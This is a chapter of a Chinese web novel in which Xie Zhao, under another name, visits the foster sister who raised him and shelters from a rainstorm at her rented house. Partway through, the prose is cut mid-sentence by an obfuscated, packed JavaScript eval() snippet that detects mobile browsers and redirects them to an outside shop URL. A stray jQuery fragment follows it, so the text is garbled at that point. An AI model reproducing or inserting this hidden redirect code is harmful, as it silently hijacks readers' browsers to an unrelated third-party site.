谢绣娥捡到他时,还不知道他姓什么,只知道自己捡他回来就是当作亲弟弟来养的,理所当然让他跟着自己姓。
然而这厢,谢照听她念起自己的名姓,沉默良久。
冷寂的室内吹入一阵风,他清晰地闻见老旧木头散发出的潮旧气味,昏暗的烛灯摇摇晃晃,一切似乎又回到了小的时候。
旧时,愚笨却良善的谢绣娥遇见了他,将心里最柔软的位置给了他,让伶仃的他得以栖身。
两个人相依为命,温暖的两颗心并在一起,令他对这个残酷的人世间产生了几分美好的幻觉。
姐姐的怀抱、发尾的清香以及她心口的温度,是肮脏的谢照仍活在世间的意义。
她身上的一切都是那么温暖又美好,他多么想跟姐姐一辈子在一起。
可是那些婆子说她迟早要嫁人,成日蹲在家门前替她说媒,谢照生平最讨厌这些长舌妇,每次都毫不留情将她们赶走。
他根本不想将自己在她心里占据的位置分出去半点。
后来谢绣娥消失,名为人世间的地狱卸下伪装,露出漆黑又残酷的一面。
天地间只余下他一个人。
他去寻她,却不慎滚落崖瀑,在水里浸了三日,任凭自己躺在冰冷激荡的河水里,连带着心也沉了底,冰冷冷的,如同死去一般毫无温度。
水的刺寒令他落下病根,每逢落雨落雪,亦或是北方极寒冷的冬日,他的血液之中便如同横生出数万根尖刺,痛得他心肝胆颤锥心刺骨夜不能寐。
这般难捱的日子,他生生忍受了数年,甚至为了主动承受苦痛,他开始长居北地。
谢照时而疑心自己是疯了,不然他怎么会贪恋这样的痛苦?
先前他想不明白,痛的时间长了,他逐渐从中领悟出一点道理。
这是姐姐留给他为数不多的东西,他理所应当要珍惜。
他乖一些,说不定姐姐就回来看他了。
谢照不止一次在心里哄骗自己。
可他等了十年,姐姐一直没有回家。
好在这些年谢照已经在学着恨她,唯有恨她,恨她给他带来的一切。唯有恨她,这颗心方能重新跃动,保持它该有的温度。
这几日见到她,他理应继续恨她的。
可听到她再度念起自己的名字,他的内心开始无法抑制地发软发疼。
痛觉发散,于他身体各处游走。
这是姐姐给他带来的,熟悉的,令人沉迷的痛觉。
心脏在心腔中剧烈地发颤,青年眼眶微微发红,喉结于颈间重重一滚,沉声道:“或许他已经死了,只是想知道自己的姐姐这些年过得如何,方托梦与你。”
谢绣娥眼里闪过一瞬间的迷茫与僵滞。
她喃喃自语:“他怎么能死了?”
“我旧时答应过他,会接他回家。”
原来她还记得。
只听眼前的谢绣娥自顾自说:“我只是想寻到他。他若活着,不想我来寻,我可以装作不知此人,日后绝不去扰他生活,若他死去,我定要寻到他的尸骨,哪怕掘地三尺,我也要带他回家。”
“地里那么黑,江水又那么冷,无法燃灯,他一个人定会害怕。”
迎接两人的,是一段艰难冗长的沉默。
许久,她听见面前的青年极轻笑了一声。
她越发觉得诧异,听上去分明是笑,却又无端蕴着几分寂然。
然而他戴着面甲,谢绣娥看不清他如今是何表情。
谢照深吸一口气,语气平静:“倘若我替娘子寻人,娘子可会知行合一,无论他死生何状,皆会寻到他,接他回家?”
绣娥怔然,心道眼前男子亦是个情重之人,便颔首道:“定然。”
见天色颇晚,谢照便说要留她吃饭,谢绣娥哪里好意思,忙推脱一番,谢照只好送姐姐回去。
她推开院门之时,天边落起小雨。
春雨连绵,雨丝如线,令人猝不及防。
绣娥的被褥与衣物还晾在树干无人看顾。
她心道一声不好,便急匆匆奔往院中的断木桩子,准备上树去收今晨晾晒的被褥。
春香在一旁搀扶着她,两人如此作弄一番,却因为过于急切,悬挂的位置过高,二人总借不到力去攀够到晾晒衣物的枝干上。
雨势渐大,天边阴云密布,隐有滚滚雷动。
谢绣娥愈发急切,并未注意到隔着栅门看她的谢照,忽而轰隆一声,惊雷落下,她吓得唤了一声,眼前白光一片,院里有什么大的物件儿被劈中,全数倒伏下来,连带着惊了厩中的马。
这下,她的注意力被马全数转移,全然顾不上衣裳了,转头去瞧院落中被劈坏的物什,脚下一滑,变故忽生。
谢照站在不远处盯着她,在她即将跌落的时刻,大跨步走上前,手臂稳当有力地扶了她一把。
谢绣娥只觉得霎时间天旋地转,后腰被一道坚实的力量承托,身形被迫一转,她毫发无伤地落到地上。
谢绣娥这才意识到方才自己经历了什么,霎时吓软了脚,谢照又赶忙托她一把,将她往前推送。
“快些去廊下躲雨,此处有我。”
谢绣娥可惜地望着那些被打湿的衣物,挪不动脚:“可是……!”
青年二话不说便抽出腰中细剑,眸光对准高处,将那衣绳一挑,衣物劈头盖脸朝他落下,独属于谢绣娥的气息簌簌落了满怀。
他来不及沉迷,拢起那些衣物被褥,全数递与谢绣娥,连推带拽,将她拉入尚未燃灯的屋内。
他的手掌温度极高,紧紧地钳住她一边胳臂,谢绣娥没见过这样的阵势,胳臂吃痛,不由得失声喊道:“秋郎君,你想做什么……”
分明看上去是个清俊的青年郎,怎么气力比粗蛮的武夫还要刚猛?
不相熟的成年男子气息挤入她小小矮矮的厅堂,携着潮湿的水气与生涩辛辣的草木气息。
谢绣娥惊慌地看着他,谢照霎时松了手,只看她一眼,便往外走去。
“春雨性阴,极易令人生病,娘子要看顾好自己的身体。”他的声音凉凉的,语气听上去不算愉快。
谢绣娥这才意识到自己方才的言语误会了他,但旧时的经历不得不让她对与自己共处一室的男人感到恐惧。
雨势渐大,暮色昏沉,谢绣娥见他还要往外走,连忙将衣物堆在一旁,上前唤他:“秋郎君!”
谢照站在门前,偏了偏头,静默无言。
许是他孤绝的背影瞧上去有些可怜,心软的姐姐叫住他,将他留在家里。
她说:“雨停了再走吧。”
转念间,谢绣娥便让春香燃上了灯,屋内陈设简洁温馨,这间屋子,只不过赁了数日,却到处都有她用心生活的气息。
到处都是姐姐的气息,是他这几年做梦都不敢想的事。
旧时他与谢绣娥住的破庙跟小院,虽然破旧,但谢照很喜欢。
因为姐姐在哪里,家就在哪里。
可惜谢绣娥一走,不到三年,那里便被山洪冲垮夷为平地,自那以后,他再没有家,哪里都找不到姐姐了。
谢照一时望着屋中陈设,心下不由得酸苦滞涩。
谢绣娥见他这般僵硬,还以为他也不习惯来外人家里做客,更何况她是个女子,便又道了一句:“秋郎君,你来这头坐下吧,无需这般拘束。”
“春香,过来上茶。”
谢绣娥这般说着,自己也忙忙碌碌起来,忙将灶房里的吃食都给他端上来,春香在一旁沏茶。
他转过身,瞧着她这般熟练待客,心下忽然有些不是滋味。
旧时谢绣娥身体不好,哪里做过这些事情,她连自己的一件衣裳都缝不好,砍柴做饭浣衣缝补,全部都是他来做。
他走上前,谢绣娥招呼他坐下,谢照与她隔开一些距离,相互对坐:“娘子不必这般客气,只一盏茶便好。”
谢绣娥见他这般,一愣,随即撩起鬓边碎发,苦笑说:“妾身是乡下来的平民,不懂京城的规矩,倒是让郎君不自在了。”
谢照其实很想说,这本来就是他的家,回家是迟早的事,他怎么会不自在?
要说真正该感到不自在的,合该是那个虚伪的,趁虚而入的伪君子,贱种。
可怜他的姐姐胆子太小,谢照无法在这种时候说出某些惊世骇俗的话语。
屋内萦绕着淡淡的茶香。
听着外头淅沥的雨声,谢绣娥问了谢照许多军中的规制、吃食与用度,她好奇的目光黏在谢照脸上,谢照很受用,一连与她说了许多军中之事。
屋外的秋明听得胆战心惊,他从未见过主子跟哪个人这般柔声细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720254|208605||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
语地说话。
不,赫连照从来没有给过谁好脸色看,他目中无人,桀骜不驯,但凡他有语气好的时候,那肯定是有哪个角落里的倒霉鬼死期将至了。
秋明一想到主子面上挂着的笑通常出现在给犯人严刑逼供的私牢里,这牙肝胆儿都止不住地颤。
好不容易谢照将自己旧年的生活说完了,他眸光幽深地看着谢绣娥,笑着说:“该娘子了,在下也很好奇娘子旧时的过往,为何娘子说的那个人会无缘无故地失踪,娘子没有去寻过么?”
谢绣娥听着他的循循善诱,内心滋生出几分惶恐,她想起旧时与谢照起的几番争执,皆是她固执己见。
她没有向谢照透露更多,只将事情全揽在自己身上,面色凄切:“并非无缘故,一切皆是我的错,他厌我也是该的,只是……”
谢绣娥脆弱地维持着内心的平静:“我想他知道,与他分离之事并非我所愿,倘若郎君能寻到此人,切记向其传达妾身所意,其余之事,恳请郎君莫要再问,给妾身留几分体面。”
当年之事彼此各有难处,事在人为,可如今已物是人非,她不想在外人面前揭开自己的伤疤。
那段日子实在太痛,每日都似地狱一般煎熬,她曾想剥离,却发现它早已渗入自己的骨血之中,打断骨头连着筋,她痛啊,她不敢再回想,只能一味地捂着耳朵,封闭自己的心思向前走。
她望着眼前的青年,心下苦笑,倘若她说了,或许他也会厌恶她,再不会这般好声好气地与她交流。
像她这般肮脏的乡下女人,不贞洁不检点的娼/.妇似的女人,就应该像条过街老鼠一样躲藏起来生存,倘若现了世面,决计是要被世俗所抛弃的。
在那一瞬间,谢绣娥心下多了几分后悔,或许她来京城追随二爷,亦非是一个好抉择。
可是裴清琅曾经救她于水火,治好了她的沉疴顽疾,这天大的恩,谢绣娥实在不知该怎么报答。
裴清琅说喜欢她,那她便嫁给她。
谢照一瞬不瞬地望着她,与她对视,却无法再从她那双湖水般平和的墨眸里望见其余的东西。
一刻钟之后,雨停了,谢绣娥殷勤地赠了一些自己做的糕点给他。
阿姐似乎急着赶他走。
谢照心下不愉,却也不曾表露出来。
春香送他出来,谢照手里提着包裹,望向屋内孤坐着的谢绣娥。
一灯如豆,她微微佝着脊背,坐在厅堂内,似乎沉浸在思绪之中,柔婉清瘦的身影被大段鸦沉沉的漆黑所笼罩,连带着她的面容一并吞噬其中。
发现他正回头望自己,谢绣娥稍稍抬眸,二人对视良久,谢照终于从她那对清眸之中,望见被她深藏起来的苦痛。
谢照张张口,几乎是立刻想要回到谢绣娥身边,然而身侧忽响起一道清脆声音。
“郎君,我们娘子要歇下了。”
谢照回神,瞥向身侧的丫头,没说话。
走到院中,他望见坍塌的马厩,脚步一顿:“明日我再来。”
春香不想谢绣娥跟眼前的男子有太多接触,小姐如今与人已定下婚契,再与外男来往,世人的唾沫是能淹死她的。
“我们娘子会请专人来修的。”
谢照不客气地说:“你们才来几日,京城人多眼杂,不知根知底的生人也敢请来用?”
春香猝不及防被他噎住,心想他才认识谢绣娥几日,语气就熟稔得好似小姐家里的长辈在斥责她。
她撇撇嘴,又不服气道:“二爷会过来看的。”
谢照嗤笑一声,谢绣娥先前赶路数日,初到京城,此人一碗面都不肯陪她吃,甚至她被这个人磋磨得连饭都会做了,这愚蠢的女子还要奢望此人为谢绣娥做些什么?
春香不知所以地看他一眼,总觉得他接近谢绣娥是另有所图。
她不喜欢二爷,也不喜欢这个人,但无奈小姐很喜欢,不然今夜也不会请他进家门,与他长谈这么久。
春香想赶他走了,转瞬又想到,或许他确实有能耐寻到小姐想要寻到的人呢?
一时之间,她寻不到赶走他的理由,火气失了由头,心下越发郁闷。
她想再说些什么,抬头发现那青年早已离去。
她回过神,眼神忿忿地盯着他离去的身影,嗡声嗡气地说:“真是个怪人!”